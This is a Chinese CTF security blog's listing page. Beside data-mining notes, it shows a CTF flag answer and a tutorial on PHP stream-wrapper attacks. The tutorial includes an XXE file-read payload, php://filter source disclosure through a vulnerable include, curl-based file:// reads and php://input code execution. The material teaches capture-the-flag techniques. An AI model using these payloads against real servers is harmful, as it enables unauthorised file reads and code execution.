Chybeta


  • 首页

  • 归档

  • 分类

  • 标签

  • 朋友

  • 关于我

  • 搜索
close
Chybeta

数据挖掘比赛(1)对无列名的txt数据集读取方法及处理

发表于 2017-01-24 | 分类于 数据挖掘 | 阅读次数

接触大数据比赛,必然要接触大数据(<—好吧废话)所以第一道门槛是如何读取大数据文件。有时比赛提供的dataset是带有标签的csv格式文件,有时也会提供不带标签的普通txt文件,此文主要写写对读取此种txt文件的一些小方法和处理。

阅读全文 »
Chybeta

数据挖掘比赛(0)环境搭建之anaconda安装

发表于 2017-01-22 | 分类于 数据挖掘 | 阅读次数

最近开始接触一些kaggle的比赛,需要搭建基本的环境。原本在本机和服务器上“搭好了”,numpy.test()等都没有问题,同样的代码却运行出了不同的结果… 后面接触到了 anaconda这个集成的python科学计算环境,一键式解决大部分问题,甚至在win下也能安装:)这样也省去了开一大堆虚拟机的麻烦。

阅读全文 »
Chybeta

pwn思维导图

发表于 2017-01-13 | 分类于 writeup:bin | 阅读次数

pwn学习路径

Chybeta

南邮CTF平台web前30题解

发表于 2017-01-12 | 分类于 writeup:Web | 阅读次数

1、

查看源代码view-source:http://chinalover.sinaapp.com/web1/
nctf{flag_admiaanaaaaaaaaaaa}

阅读全文 »
Chybeta

浅谈php伪协议及在CTF比赛中的应用

发表于 2007-06-22 | 分类于 Web Security | 阅读次数

file://

利用该协议可以访问本地文件系统,从而可能读取到敏感文件。

直接使用

以wechall上的一题为例:

1
http://www.wechall.net/challenge/crappyshare/index.php?show=code

第215行开始,有如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
省略
function upload_please_by_url($url){
if (1 === preg_match('#^[a-z]{3,5}://#', $url)) # Is URL?
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
if (false === ($file_data = curl_exec($ch)))
{
htmlDisplayError('cURL failed.'); }
else
{
// Thanks
upload_please_thx($file_data); }
}
else
{
htmlDisplayError('Your URL looks errorneous.'); }
}
省略
?>

curl_exec($ch)中的$ch可控,原本是希望能curl到远程服务器上的资源,但这里可以利用file://读取到本地敏感文件。

1
http://www.wechall.net/challenge/crappyshare/crappyshare.php

结合其他方法

比如XXE中,经常使用它来引入外部实体符号。比如以下payload:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///c://TEST.txt">]>
<root>&file;</root>

更详细的内容可以见:小试XML实体注入攻击

php://

http://cn2.php.net/manual/zh/wrappers.php.php

访问各个输入/输出流(I/O streams)

php://filter

读取文件

这个经常在ctf比赛中用来读取源码,返回的是base64加密后的结果。
假设index.php源码如下:

1
2
3
4
<?php
@include($_GET["chybeta"]);
show_source(__FILE__);
?>

利用php://filter读取index.php源码

1
http://XXX/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

有时候也可以直接用以下payload:

1
http://XXX/index.php?file==php://filter/resource=index.php

php://input

基本利用

php://input 是个可以访问请求的原始数据的只读流,可以读取到来自POST的原始数据。但当 enctype=”multipart/form-data” 的时候 php://input 是无效的。

16年华山杯,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
?>

可以利用php://input。如下:

类似的题目,在jarvisoj的IN A mess可见到。

代码执行

利用条件:allow_url_include = On。不过其实若allow_url_include = On 的话就可以直接远程文件包含了:)。测试代码同上。

1
2
url: http://localhost:20000/index.php?chybeta=php://input
post: <? phpinfo() ?>

若没有开启allow_url_include,则会执行失败。

http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs

zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流

expect://

用于处理交互式的流。

Chybeta

chybetaのdiary

发表于 1999-11-30 | 阅读次数

just chybeta の diary or notes or not

阅读全文 »
1…1920
chybeta

chybeta

196 日志
13 分类
117 标签
RSS
GitHub Twitter
Links
  • XMU-Ph0en1x
  • lzhtony
  • findneo
  • Mads
  • Ginove
  • cltheorem
  • Frank
  • Philhe
© 2021 chybeta
由 Hexo 强力驱动
主题 - NexT.Muse